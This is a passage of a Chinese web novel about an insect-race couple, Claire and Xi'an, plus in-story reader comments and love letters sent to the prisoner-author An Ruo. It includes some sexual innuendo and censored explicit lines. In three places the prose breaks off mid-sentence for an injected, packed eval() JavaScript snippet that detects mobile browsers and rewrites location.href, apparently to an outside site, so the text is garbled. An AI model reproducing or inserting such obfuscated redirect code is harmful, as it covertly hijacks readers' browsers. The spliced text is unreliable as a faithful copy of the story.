上班路上的卡西安议员长,看着星网的这堆污言秽语,露出了落后时代的老虫看光屏的困惑表情。 先连接星网智能管理者,用权限把那些馋他弟弟下半身的留言全删了。 结果发现根本删不完……气得他直接把整个话题封了。 “联系那本书的作者,让他注意点,别瞎写。” 即使联邦言论自由,文娱方面的管制更加宽松,但若是造成恶劣影响,该封还是封。 卡西安把事情交给秘书去办。 对方很快给出回复。 作者用的是军方的临时身份,没能联系上,但书没问题。 比起虫族那些满屏都是黄色暴力血腥的书,作者安写的这本《教官》称得上是其中的一股清流。 总结:书没问题,有问题的是那群雌虫的脑子。 卡西安:“……” 作为一名坚定选择了低等雄虫当雄主的雌虫,就能难理解那些雌虫对高等雄虫发疯般的向往。 而发现话题被封的雌虫们遗憾回到书评区。 星网审核从不管这些小事,突然删话题很不正常。 于是他们一致聊侃,是“克莱尔书灵发力了”。 …… 【训练室里,克莱尔板着脸做基础训练,看起来跟平常一般无二。 可席安总觉得他浑身冒着黑气。 显然那个词对雌虫的伤害太大了。 席安为自己脱口而出的那句话感到懊恼,特别心虚,想要找补。 可他也不能冲到克莱尔面前去,说你其实特别紧,紧得要命,让我头皮发麻。 他也没睡过啊。 席安幽怨瞥着克莱尔的背影。 而且说这样的话会被揍的吧?还是不要再提起这个话题了。 席安想着别的事,动作就明显分心。 克莱尔走过来,手抵在他背后,沉声道: “腰背挺直,身体向后躺一点,核心收紧,腰部发力。” 席安:“……好的教官。” 一声“教官”,克莱尔没觉得不对。 哪怕席安做完全部训练,起身去配套的浴室洗澡,他也没觉得有哪里不对。 直到走出训练室,看到外边的家居陈设,他才骤然反应过来。 这里不是在军中,他也不是席安的教官,他是他雌君。 克莱尔顿时后脑一凉。 雌虫在家里把雄主当兵训了怎么办? 应该庆幸他刚刚没有让席安再加练一组吗? “怎么了?”席安见他停下,疑惑问他。 “雄、主,我刚刚……” 克莱尔忙解释。 “我知道,你刚刚状态很好。” 席安打断他,微勾了下嘴角,道:“这样就挺好的。” 远征回来后的克莱尔,总给他一种死气沉沉的感觉。像是被抽走了生命、对生活和未来都失去了希望。 也就刚刚那一刻,克莱尔身上有了些生机。 至于他被训的事……训就训吧,克莱尔本来就是他的教官兼长官,他被训也不是一次两次了,早习惯了。 克莱尔不明白雄虫说的“好”在哪里,但雄虫已经拉着他下楼。 他的视线落在雄虫牵着他的手上。 席安也发现了,只要不释放信息素,克莱尔没那么抵抗他的肢体接触。 这点甚至比远征前要好。 自从克莱尔把他从天伽追击下带回,又消失了三月后,就对他格外冷淡,完全无法忍受他的靠近。 那一直是席安的心头结。 他认为是他成了克莱尔的负担,拖累了克莱尔,克莱尔才这么讨厌他。 那之后,他拼了命地努力,加倍训练,想要变强,向克莱尔证明自己。 却又在递交远征申请时,得到了克莱尔无情的驳回,毫无回旋余地。 他第一次那么失态地冲到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704143|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克莱尔面前,跟他据理力争,也没能改变他的决定。 克莱尔自己去远征了,带走了部队中的绝大多数虫,除了他。 他再度被抛弃。 克莱尔感觉到雄虫的手有些发冷,他下意识握紧了些。 雄虫疑惑回头,眸光落在他身上,他有一瞬心慌,正巧瞥到空荡荡的餐桌,他忙道: “雄主,我去做饭。” “你会做么……” 席安不太相信。 “我在校期间选修了烹饪课。” 联邦的烹饪课是选修课程,不做强制要求。 但绝大部分雌虫都会选上这门课。 哪怕现代虫家里都有智能机器负责做饭,除了某些厨艺爱好者外,普通虫真正下厨的机会少之又少。 但厨艺在婚恋市场是加分技能。 虫族失衡的性别比和供需关系,雌虫嫁个好雄虫跟考一所名牌大学一样难,以至于雌虫不得不卷生卷死,不放过每一个加分点。 已经扭曲到了连军校都要开设烹饪这种选修课的程度。 克莱尔当初其实没想太多,只是身边虫都选了这门课,他不选会显得很奇怪。 席安听到他选修了这种课反而很诧异,好奇打听: “那成绩怎么样?” 克莱尔沉默了会,还是如实道:“及格……” 第一次后悔自己没学好点。 如果早知道他会跟席安结婚,他绝对会把烹饪课当军事课题去攻克。 席安露出“果然如此”的表情,但还是由着他去厨房。 克莱尔进了厨房才发现,机器管家早把饭菜都做好了,这会正在装盘上菜。 八条机械臂井然有序地工作着,根本没有他插手的地方。 他左看右看,最后调了杯果汁。 见他只端了杯果汁出来,席安也没有任何诧异,笑着邀他入座。 不是一般雄虫家里能坐十几只虫的长餐桌,而是私虫定制的小餐桌。 这样的餐桌不适合虫族家庭,只适合情侣约会。 不过席安现在只有他一只雌虫,倒也够用。 席安捧着果汁小口吸着,只是普通的果汁,他却眉眼舒展,很喜欢的样子。 “我以后早些起来做饭。” 克莱尔斟酌着道。 他在心里强调,他现在是已婚雌虫,不能再像以前那样随意,一切要以雄主为先。 可他雄主道:“不用,有智能管家呢。” 雄虫其实都有些挑食,对食物要求高,吃不惯智能机器做到千篇一律的食物。 席安原本也一样,不过他挑食的毛病早在进入军部后就被治好了。 军部食堂就是神医,让虫清心寡欲,心如止水,失去对食物的原始追求,现在他吃智能机器做的饭都适应良好。 再说了,就克莱尔那个及格水平的厨艺,未必有智能机器做的好。 与其早起做饭,还不如陪他在床上多躺会。 被雄虫拒绝,克莱尔就不再提了,用完餐后,他主动收拾桌子。 结果又被雄虫拦住。 “别管那些,来陪我坐会,我们聊聊。” 席安拉着克莱尔在沙发上坐下,让智能管家去收拾。 克莱尔正襟危坐。 心道终于来了。 他回忆婚后自己所做的种种,还有婚前在席安那里留下的糟糕印象,明白席安是要找他算总账了。 他可能会成为史上第一个婚后第二天就被贬为雌侍或雌奴的雌君。 席安上下打量了遍克莱尔紧绷而笔挺的坐姿,试探着问: “肩膀能靠吗?” 克莱尔微怔,谨慎点头,“可以。” “胸呢?”席安又问。 “……也可以。” 克莱尔表情空白,眼里透着茫然。 ……】 17.雄虫新兵x昔日教官12 [雄主,靠我,我胸大(骄傲挺胸)] [天啊,这么主动热情的高等雄虫哪里找,我遇到的雄虫都冷冷的,不喜欢肢体接触。] [是你的性吸引力太低了,等级高的雌虫有很多雄虫想睡的。] [来努力变强吧兄弟,变强就能吸引到雄虫。] [雌虫的平均等级已经甩雄虫两个大等级了!再这么卷下去,A级雌虫都只能配C级D级雄虫了!] 虫族是慕强的种族。 雄虫喜欢高等级雌虫,雌虫也同样喜欢高等级雄虫。 C级D级雄虫对高等雌虫的吸引力真的很有限。 而雌虫远比雄虫更在意等级。 不同等级的雄虫那方面的能力、信息素吸引力以及精神力强度,区别真的很大,给雌虫的体验天差地别。 可在这失衡的性别比下,雌虫要么卷生卷死脱颖而出,要么只能往下选。 这就是冰冷的现实。 一想到克莱尔那家伙能嫁给A+级雄虫,他们就特别羡慕嫉妒,心里极度不平衡。 其实代入一下也很爽…… 可是克莱尔还在那里端着,不让雄虫睡,他们恨铁不成钢,心里比克莱尔还急。 [克莱尔的厨艺甚至只有及格,天知道军校的烹饪考试有多宽松,只要吃了没中毒都能及格。] [他这水平居然也能嫁给高等雄虫,那我当年卷生卷死考一堆证算什么?] [算你勤奋。] [不是说厨艺是嫁雄虫的加分点,甚至是入门劵、是最基础的东西吗?为什么席安阁下好像一点也不在意这些?] 有雄虫出来说: [其实根本没注意过这个,现在哪只虫家里没有做饭机器,就算聘请专虫上门做饭也不贵。而且雌虫一年大半时间都不在家,军雌更是常年在外,完全指望雌虫做饭我早饿死了。] [就是就是,雌虫都太忙了。] 过来虫表示:[所以要娶很多个雌虫,这个出门了,还有其他的在家陪我,他们可以轮流休假陪我。] 雌虫们迷糊了解到:厨艺多少分、会不会做饭根本不重要。 [完啦!被骗了!] [该死的!一定是被天伽做局了!] [万恶的天伽!] 天伽:? …… 【“你确定吗?胸也能靠?” 席安倾身贴近,以极缓的动作靠近克莱尔,感受到他呼吸屏凝。 他轻轻将头枕在克莱尔肩上,脸靠在克莱尔胸膛,抬眸看他。 克莱尔下颚紧绷,冰蓝的视线凝聚在他脸上,眼睛直愣愣睁着,一眨不眨,看起来比他还紧张。 但没被推开。 席安能感受到他所靠着的肌肉时而紧绷时而放松,随着克莱尔的呼吸变动。 这让他有一种克莱尔的胸肌是活着的恍惚感。 为了不加剧克莱尔的紧张,席安拉过克莱尔的手把玩,分散他的注意力。 “你把我抛下,自己去参加远征,我其实是很生气的。” 不止生气,还有难过,委屈,许多的情绪。 克莱尔想要解释,却被席安捏了下手心打断。 席安知道他想说什么,无非是雄虫不应该上战场、为了他的安全考虑……那些老生常谈的东西。 他是军雄。 他不想听那些。 席安拂过他指间的枪茧。 即使雌虫的恢复力很强,高强度的训练也还是在他身上留下了长久的痕迹。 这些席安手上没有。 因为他的天赋能力。 他有着媲美A级雌虫、甚至超过A级雌虫的耐力和自我修复能力。 哪怕训练时被虐得很惨,缓口气的功夫就能立刻恢复过来,连修复液都不用。 也因此被克莱尔重点关照,虐得最惨…… 跟同等级雌虫比起来,他差一些的大概只有雌雄天生的身体强度和爆发力。 这些在机甲的补足下完全能够抹平。 更何况他还有着雄虫独有的长项——精神力。 席安的努力不比任何军雌少,也自认不必任何军雌差。 即便如此,克莱尔还是不让他上战场。 任何希望都不给他。 席安咬了下牙,捏克莱尔手的动作用力了些,暗暗报复。 克莱尔完全任由他捏,一声不吭。 席安自己跟自己较劲了会就觉得没意思,转而继续说下去。 “你远征回来,也不来见我,直接就归家修养,归期不定。我想找你,军方不让,我只能用雄虫的方式申请基因匹配……意外地,我们的适配度很高……” 99.9%的适配度,何止是高,简直是命中注定,天生一对。 想起这个,席安又开心了些。 不管怎样,他和克莱尔都该在一起。 “其实……原本没那么高。” 克莱尔犹豫着开口。 “没那么高?什么意思?” 席安不解,神情有几分警惕。 克莱尔低垂的睫毛微颤。 这件事说出来,对他没有益处,反而全是弊端。 但他觉得……他不该隐瞒席安。 “我们的适配度其实没那么高,是因为我对您的信息素成瘾,所以单方面把适配度提了上去。” 克莱尔说着,黯然垂眸。 “我们并没有您所想的那么适配……” 席安:“???” “信息素……成瘾?” 是他所想的那个信息素成瘾吗? 席安惊疑眨着眼,从他胸膛撑起身来,跟他面对面。 “等等,这是怎么回事?你说的这些,我怎么都不知道?” 克莱尔哪有对他信息素成瘾的样子? 他恨不得离他一万米。 对他退避三舍! “是您在机甲里晋级时的事。” 克莱尔目光闪烁,不敢看席安。 当初他与席安共处一室,席安的信息素将他完全浸透。 他虽然强撑下来,没有伤害席安,将其平安带回,但他的身体却难以回到从前。 高浓度的雄虫信息素,让他的身体对席安成瘾。 更难以面对的是他的心瘾。 在面对雄虫信息素时一次次抵抗又不断渴望而产生的心瘾。 这些事,克莱尔原本已经忘了。 精神域受损对他的影响太大,让他的部分记忆破碎缺失,他甚至忘了自己曾对席安的信息素成瘾过。 直到席安为他进行精神梳理,修复好了他的大半精神域,他才渐渐想起这些。 克莱尔一说“机甲”和“晋级”,席安就知道是怎么回事了。 “你怎么不早说?这么重要的事情你居然不告诉我?!”席安急了。 他没想到克莱尔连信息素成瘾这种事都能瞒他。 机甲中发生的事他瞒着他,信息素成瘾也瞒着他! 他到底还隐瞒了他多少事?! 就这么不信任他吗? 席安气得咬牙,眼眶泛红,既委屈又生气。 “雄主您息怒,都是我不好,您罚我,请您责罚……” 克莱尔手忙脚乱安抚雄虫的情绪,但他的话只惹得让席安更加生气。 “我需要一个解释!” 席安怒而揪住克莱尔的胸口的衣服,欺身逼近。 抓得太用力,衣服跟底下的肌肉贴得太紧,以至于他抓到了一团过于柔软的事物。 席安慢半拍才发觉手感不对,怔愣低头看去。 白皙修长的手落在黑色的训练服上,将训练服包裹的软弹胸肌抓得变形,勒出明显的指痕。 “……” 席安大脑一空,愣愣眨着眼,怒火卡在一半,不上不下。 克莱尔只当雄虫是在拿他身体撒气。 他短促吸了一口气,压下到喉口的声音,也没敢躲避,就着这个让他难以启齿的姿势回复。 “把您平安带回军区,是我的责任。而信息素成瘾……是我自己的事,不该打扰您。” “你自己的事?” 席安抬眸看了他一眼,语气不满,手下力道不由加重。 不得不说,这手感是真的好。 训练服的手感好,别的也是。 怕真弄疼他了,席安拧到一半就松手,给他揉揉。 克莱尔擅长忍痛,他这一揉,反而让克莱尔不知所措,身体逐渐僵硬,呼吸也不由屏住。 胸膛下的心脏跳得极快,仿佛要落入雄虫手中。 “雄、雄主?” 克莱尔低喘唤了声,几乎咬到自己的舌头。 席安见他并没有太大抵抗,也没有要揍他的意思,干脆将手留在上面。 果然,只要没有高浓度信息素,克莱尔就能接受他的肢体触碰。 这倒是跟其他雌虫全然相反…… 正常雌虫都更喜欢雄虫的信息素。 席安淡淡抬了下眸,对他道:“继续说。” “我……” 克莱尔反应变得迟钝,过了好一会才想起自己要说什么。 “我不能因为这种事找上您,那是强迫您为此担负责任,是对您的伤害……我不能成为伤害您的虫。” 雌虫对雄虫的信息素成瘾,那就只有雄虫的信息素能够缓解。 难道他要去找席安讨要信息素吗? 那相当于是找席安讨要体.液或上床机会。 这太过了。 克莱尔说不出口。 他知道席安本性善良。如果得知他因他而信息素成瘾,席安绝对会对此负责。 但克莱尔不愿意、也不能这么做。 他不能用恩情和责任去绑架席安。 那是对席安的伤害。 “你不来找我怎么知道是强迫我?说不定我很乐意呢?” 席安完全没法理解他的做法。 “不可能。” 克莱尔直接否定。席安怎么可能会乐意给他信息素?他们的关系并不融洽,席安很讨厌他。 可看着席安因他反驳而变得不善的脸色,他又犹豫了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709922|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为自己没领会到精髓。 他思索着猜测: “难道说,您是想在给我信息素的时候……惩罚我出气?” 克莱尔越想越觉得自己真相了。 雌虫上了床都是任由雄虫揍的。 只要有信息素,雄虫不管怎么抽雌虫,那都是晴趣。 在信息素的作用下,雌虫根本感觉不到疼,就算被雄虫捅两刀都是爽的。 真正的痛苦和难堪要等到信息素退去后、理智回归才能感受到。 席安黑了脸。 他在克莱尔心里,到底是什么个形象? “没错!我想把你草丝在床上!” 席安顺着他的话,没好气道。 克莱尔闻言了然,露出果然如此的表情。 他倒也不觉得被羞辱了。 对雌虫来说,能从雄虫口中听到“草丝”这种话,其实是值得高兴的事。 漂亮雄虫说这个词的时候,那高傲的表情也特别戳雌虫审美。 他挺愿意被他草丝的。 他当时不知道席安想用这种方式出气,如果他知道的话…… “你又在想什么?你不会当真了吧?” 席安看他的表情都无语了。 他是想草丝克莱尔,但绝对跟克莱尔所想的“草丝”是两回事。 克莱尔迷糊了。 所以……不该当真吗? “哎呀你真是……等等,不对啊……” 席安反应过来什么,将刚刚的话题抛到脑后,看向克莱尔的目光带着探究。 “如果你对我信息素成瘾,怎么会对我那么冷淡?” 席安疑惑。 信息素成瘾的雌虫会格外迷恋雄虫,根本离不开雄虫的信息素,只有被灌满才能得到短暂的满足。 他晋级成功,从军区医院醒来,一直没见到克莱尔。 军团长也只模糊说克莱尔去进行隔离训练了。 直到三月后,克莱尔才出现,且对他格外疏离冷淡。 信息素成瘾的雌虫怎么可能离开雄虫三个月之久? 还是在刚刚成瘾,对雄虫最渴求的时候。 席安不是傻虫,一点信息就能让他串联起全局。 谜底就在谜面上。 如果信息素成瘾是真的,那么…… “那三个月你去做什么了?” 席安注视着克莱尔问,表情凝重。 “我……” 克莱尔张口正要回答,却发现脑海里空空如也。 关于那段记忆,他什么都想不起来。 这种事情曾出现过,他在不久前还忘记了他对席安信息素成瘾。 直到被席安精神梳理后才恢复。 但这三个月的记忆并没有一同恢复。 它们像是从他脑海里彻底消失了。 又像是已经融入了他的四肢百骸里,甚至意识深处,不可分割。 克莱尔最终只能道: “我忘了,想不起来。” “忘了?” 席安疑惑。 克莱尔的表情不似作假。 精神域受损也确实可能损伤记忆。 克莱尔的精神域刚被他修复到70分,还没有完全恢复。 最难的部分已经解决,不会有精神暴动的风险。 剩下的部分虽简单,却也需要花费更多时间去温养…… 席安凝眉思索着。 怕刺激到克莱尔那还没好全的脑子,他没有再追问下去。 其实对于那三个月隔离训练,他心里已经隐隐有所猜测。 从信息素成瘾,到冷淡抗拒。 其中经历了什么,不言而喻。 席安微抿着唇,脸色依旧难看。 他不知道这是克莱尔还是军方其他虫的主意,想来两者都脱不了干系。 克莱尔一向对自己狠厉得近乎残忍。 “我会治疗好你的精神域,到时候你缺失的记忆也会全部回来。”席安臭着脸。 并不是很想把那部分记忆找回来。 但那是克莱尔的一部分,他不能剥夺。 压下心底的别扭,席安转而对克莱尔道: “在这期间,你需要配合我进行脱敏训练。” 克莱尔:“脱敏训练?” “对。” 席安与克莱尔四目相对,神情认真,跟他分析: “我们已经结婚,我是你的雄主,我们的结合,合情合理、合法合规。不管以前怎么样,我们现在都是结婚领证了的配偶,你不能一直这么抗拒我。” 克莱尔颔首表示明白,他比谁都更在意这段关系能否维持下去。 席安继续说:“在没有大量信息素的情况下,你其实能接受我的某些肢体接触,比如牵手,比如倚靠。现在我们要做的就算继续下去,增加接触,让你逐步适应。” “是,我会配合。”克莱尔保证。 席安一拍手,当即宣布: “那么就从晚上裸睡开始吧!” 图穷匕见。 ……】 18.军雌情书 [啊?裸裸裸睡?雄主你又奖励他!(大哭)] 看到“裸睡”两个字,雌虫们悲伤的眼泪从眼角和嘴角一起流了出来。 [我还以为会从牵手开始慢慢来呢,席安阁下居然一步到胃,不愧是超A级雄虫(吸溜)(馋)。] [注意点,现在星网对席安阁下那方面的言论管得很严,瞎开车会荣获禁言大礼包。] [克莱尔的书灵还在发力!] 还有读者对“信息素成瘾”更加好奇。 [真的有信息素成瘾这种东西吗?那得多大剂量啊。] [信息素成瘾的前提是双方适配度本身就很高,又在短期内吸入大量雄虫信息素,被信息素彻底浸透……这个要求太高了,一般虫根本达不到。] [所以说,克莱尔相当于是还没结婚,就被席安阁下的信息素捕获催熟了。] [靠!更嫉妒了!] [克莱尔这家伙,外表一副性冷淡样,其实内里早就熟透了!] [这是什么好命啊(嫉妒使虫面目扭曲)。] [别想了,克莱尔这种,寻常虫根本做不来。换成在座各位,早在席安阁下晋级散发信息素的时候,就理智全无、裤子飞飞了……然后被天伽一炮轰成灰烬,还搭上了席安阁下。] [……这个确实做不来,谁比得过克莱尔那绝世忍虫啊,对自己狠得像是断情绝育了。] #克莱尔 绝育# [点赞] [点赞] [点赞] …… [不要乱顶奇怪的话题啊喂!(点赞)] …… 安若更完文,习惯性刷着评论,随手点了个赞。 看清写的是什么后,赶紧撤回一个赞。 这些雌虫的脑子里的想法真是太古怪了,果然嫉妒使虫扭曲。 关闭光屏,安若仰靠在椅子上,伸了个懒腰活动筋骨。 最近更得有些多,该给自己放一天假了。 安若看了眼空空如也的存稿箱,心虚一秒,还是决定先去做别的事。 他也不是不想存稿,但灵感这种东西是真的说不准。 到了某个节点之后就是卡住了,怎么想也想不出来。 硬写也不是不行,就是怎么都不对味…… 反正监狱包吃住,他也没什么更新压力,安若选择先去做点别的事放空大脑。 先前,乌列尔帮他把军雌们的礼物送了过来。 东西太多,多到囚室里都放不下,乌列尔只能再多给他一个空间纽来装。 空间纽小小一颗,可以像个纽扣或者领针一样别在衣服上。 内部空间却十分可观,大得能装下机甲。 安若这些天忙着写文和做精神梳理,都没来得及拆礼物,今天正好抽出一天时间来做这个。 首先是花,非常多的花。 安若怀疑是乌列尔跟那些雌虫说了他喜欢花,以至于那些军雌都临时定了花送过来,不然怎么会这么多? 好在空间纽能给花保鲜,维持它们放入时的状态,不会枯萎。 安若找了个花瓶出来,将其中一束花摆上。 或粉或红的花装点在一起,让整个囚室都显得明亮活泼了许多。 安若对此很满意,决定每天换新的花摆着。 就算是这样,也要很久才能消耗掉那一空间纽的花。 其次是衣服。 这些雌虫似乎乐衷于给雄虫送漂亮衣服和首饰。 空间纽里有许多华丽的礼服和宝石配饰。 漂亮倒是漂亮,可他一个囚犯哪有机会穿这些? 安若从中挑选出几套面料高档舒适的睡衣,这个倒是很实用,可以换着穿。 乌列尔说过,囚服只有在出囚室的时候需要穿,在囚室内他可以穿其他衣服。 他刚进监狱时,机器虫收走他的衣服,其实是以防他身上藏有其他违禁物品。 安若继续从空间纽里往外掏东西。 然后是各种虫族雄虫喜欢的经典零食、水果、饮品……补品。 看着那大红包装、就差写上给雄虫补xx的礼盒,安若表情一言难尽。 看出来了,军区的雌虫都喜欢给雄虫补身体。 这对他们来说大概相当于给机器上润滑油做保养。 安若默默将其塞回空间纽,压在最底下。 然后还有……书信? 安若将一沓像是信件的事物拿出来,神情诧异。 这样的纸质文稿在星际时代已经很少见了,它们现在的定位更类似于收藏品。 军雌们没有他的终端号,无法与他联系,最后竟用上了这么传统的联络方法。 他穿越到虫族,最先收到的信不是来自读者,而是来自军雌们的感谢信。 安若心情复杂,也觉得特别奇妙。 他走到桌前坐下,将信拆开阅读。 大部分信都是类似贺卡或者明信片的形式,装饰感很强。 所以,在看到信上的各种花瓣花朵、闻到那刻意喷上去的香水时,安若并没有察觉到什么不对。 第一次作为医生收到患者的感谢信,安若正襟危坐,带着些小雀跃,认真读下去。 『安诺阁下亲启: 我叫沃伦,曾服役于第九军团,星蝎部队,军衔少校。我的个虫资产清单随信附上,如果您愿意赏脸一览的话…… 我参加了去年的远征。 远征是军雌的荣耀,也是军雌的坟墓。 我是幸运的也是不幸的,我活着从战场上回来,精神数值却一度低至25分,进入极危状态。这对于一个没有雄主的军雌来说,几乎是宣判了死刑。 是的,军区有专门的精神梳理师,但普通军雌想要排上通常需要3-50年不等。 哪怕军部会给精神状态极危的军雌优先,也通常需要等待好几年。这个时间,足以让一个精神极危的雌虫步入癫狂或者死亡,二者并无区别。 那段时间,我已经在写遗书。 我没有雄主,也没有幼崽,遗书也没什么好写的,只不过是清点个虫资产,在死后捐献给社会福利机构。 就在这时,我收到了有一位新的B级精神梳理师入驻军区的通知。 我的负责虫告诉我可以将我的申请转移到您的名下,这是最快获得精神梳理的方式,同时他也提醒我,您的风格可能会比较……暴力。 我代他向您请罪,他并没有恶意。您与尤利西斯元帅的离婚案广为虫知,申请您精神梳理的雌虫多少都抱有一些这方面的担心。 我当时已经别无选择,军部至少不会让我死在雄虫的床上,如果没有精神梳理我却注定会死。 而现在,我觉得那是命运的眷顾,是最好的选择。 我排上了,且排位很靠前。 为了能够赶上,我连夜乘坐星舰、经历数次空间迁跃,在第二天一早抵达首都星第一军区。 我当时风尘仆仆,神情憔悴,同行的雌虫劝我应该好好打理一下自己,这样会让雄虫提不起兴趣,也会影响最终的精神梳理效果。 时间实在太紧,没时间给我再做多的打理,我想着顶多是被更粗暴地对待,反正我一向擅长忍痛。 现在想来实在很后悔,没能将最好的一面展现在您面前,给您留下的糟糕的初印象。 很快就轮到了我。我跟在引路的军雌身后,心中忐忑。我以为我会被带去您的房间,没想到是治疗室。 您一身白衣,坐在桌后等我。 治疗室的灯光冰冷苍白,可您抬眸看来时,眸光温和而悲悯,像是将我拉入了阳光下。 我在您的眼里看到了我自己,您碧绿的眼眸澄净得让我自惭形秽。 您为我进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714474|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行精神梳理。当您强大的精神力涌入我的脑海时,我的灵魂都在颤栗,心底升起将要被您侵犯的期待和恐惧。 您强硬而轻易地攻破我的壁垒,我的一切都向您敞开,我的所有隐秘都在您面前展露无疑。 您将破碎的我拼凑完整,您的精神力扫过之处,所有混乱狂躁归于平静安宁。 我的状态从未如此好过。 您给了我满值的精神梳理,让我从精神极危到完美。 雌虫爱上精神梳理的雄虫很正常,我爱上您同样轻而易举。 或许早在您第一眼看向我时,您悲悯的目光就将我俘获。 那之后我狂热地搜集了许多关于您的信息,我还观看了您与尤利西斯元帅的离婚审判录像…… 我知道这是不对的。您与元帅的案件虫尽皆知,但凡是只正常的雌虫都不该沉陷下去。 但我想,我可能不太正常。 我用了许多方法想让自己冷静,却还是整日整夜地想您。 您离婚了,没有雌君也没有雌侍。您独自在军区监狱里,身边没有任何雌虫照顾。 我是说……我渴望成为那个照顾您的雌虫,如果您愿意接纳我的话。 我知道您的刑期很长,终身都无法离开军区监狱,我愿意一直守候和陪伴您,作为家属去探望照顾您。 我也知道您的风格比较暴力……我没问题的,我身体好,很耐揍。就算没能撑下来也没事,我的命是您救的,您随时可以取走,我很乐于死在您的手上。我会提前写下免责声明,不会为您带来麻烦。 期待您的回复。 来自永远爱您的沃伦』 “……” 啊? 啊啊啊啊啊?!! 安若从最开始的期待到疑惑,到最后的惊恐。 他猛然意识到,这是不是什么感谢信,而是一封情书。 啊?! 安若吓得丢下手里的信件,身体猛地后仰,那困惑而警惕的表情像是遇上了定时炸.弹。 他怎么也想不明白自己为什么会收到这种东西。 或许就如信中所说,雌虫很容易迷恋上为他进行精神梳理的雄虫。 但他现在的身份是军区精神梳理师(公用的雄虫),还有着全联邦皆知的超凶残家暴前科。 有这两个劝退效果超强的负面头衔在这里,居然还有雌虫脑子不清醒地往上冲? 安若心惊胆颤。 这种情况,如果放在现实社会,他一定会因为有违医德被处分。 虽然他是个假医生,但这刺氵敫还是太大了。 安若从空间纽里找出纸笔,想着怎么回信才能打消雌虫的恋爱脑。 他忽地想起什么,瞪大眼睛看向剩下的信件。 等等,这些不会也是…… 安若连忙将信全部拆开来看,然后惊恐地发现,那一封来自沃伦少校的信居然已经是措辞最含蓄、最委婉的了。 『我梦里全是您,一想到您我就***。』 『好想被您**。』 『能拥有一个服侍您的机会吗?哪怕没有名分也可以。』 『奉上我的所有资产,希望能……』 『想跟您**生虫崽,我会独自把他抚养长大。』 『您看了《教官》吗?就像克莱尔匹配到席安阁下一样,我申请到您的精神梳理也是命运的指引。』 『雄主正面*我!』 …… 安若石化、呆滞,信纸从手里飘落。 太恐怖了…… 这到底是感谢信还是催命信? 随机吓死一个医生。 有些人看似还活着,其实已经走了有一会了。 过了好一会,安若默默拿起笔回信。 他要非常冷酷、非常凶残地打碎他们的幻想。 将他们指引回正途。 19. 雄虫新兵x昔日教官13 『你是只好虫,但眼光太差。』 『你的资产对我没有任何用处,既不能让我减刑也不能让我回家,你自己留着去医院看眼科吧,我为你的眼盲深感同情。』 『一个雄父是囚犯的幼崽是没有未来的,我宁愿不孕不育。』 『不约。』 『任何虫都不该喜欢上家暴犯。』 『克莱尔的匹配来自席安的申请,他们两情相悦,而我只是一个由监狱安排患者的医生,毫无选择,不能一概而论。』 『虫在心灵脆弱时,容易产生吊桥效应。将高压环境下紧张、恐惧的情绪误以为是附近某虫的吸引力,对随手抓住的稻草产生强烈的依恋。这只是一种出自本能的生理反应,跟爱情无关,甚至连喜欢都谈不上。』 『不要依赖错觉,正视内心真正的自我。』 『你很优秀,一定会遇到那个属于你的虫,你值得更好的。』 …… 安若一封封回信,针对不同的虫用不同的措辞拒绝,到最后都有种精神分裂般的恍惚感。 应该没问题了吧? 说了很多难听的话。 嘴像淬了毒一样,狠起来连自己都骂,很凶残地拒绝了所有雌虫。 只是有些雌虫太惨太卑微,让虫不忍,也怕自己的凶狠拒绝会给他们留下永久性的创伤,安若只能转换方法,鼓励他们去追求自我。 信件太多了,单单是写回信就花费了他一天时间,感觉比写一天小说还累。 没有信封,安若只能将信像贺卡一样对折,在表面的空白处写上军雌的名字。 第二天出门做精神梳理,安若将信带上,交给乌列尔少将,拜托他帮忙转交。 他知道这些信军方肯定要检查,会有一点尴尬……不过也没什么见不得虫的内容,过是肯定能过。 安若相信只要自己忍住不尴尬,尴尬的就是别的虫。 保持微笑、硬着头皮将拒绝信递出去。 “给军雌们的信?” 乌列尔听到这话很诧异。 他接过信,被那厚厚一沓所震惊。 “这么多?!” 监狱雄虫跟军雌维持亲密关系的也不是没有,有些甚至会在线上登记为雌侍,彻底确定关系。 像这样特殊关系的雌虫,每只雄虫最多也就一个到三个。 数量多了雄虫也应付不过来,还有监狱的每日任务要做呢。 像安诺阁下这样直接一网打尽的……还是第一次见。 乌列尔暗暗倒吸一口凉气。 他见安诺每天都选择在治疗室进行精神梳理,还以为他对这些没兴趣,没想到是所图甚大…… 这厚厚一沓,怕是把他这段时间梳理的军雌都囊括进去了。 被震惊得无法言语,心情也格外复杂。 把虫一网打尽这种行为……怎么说都很渣。 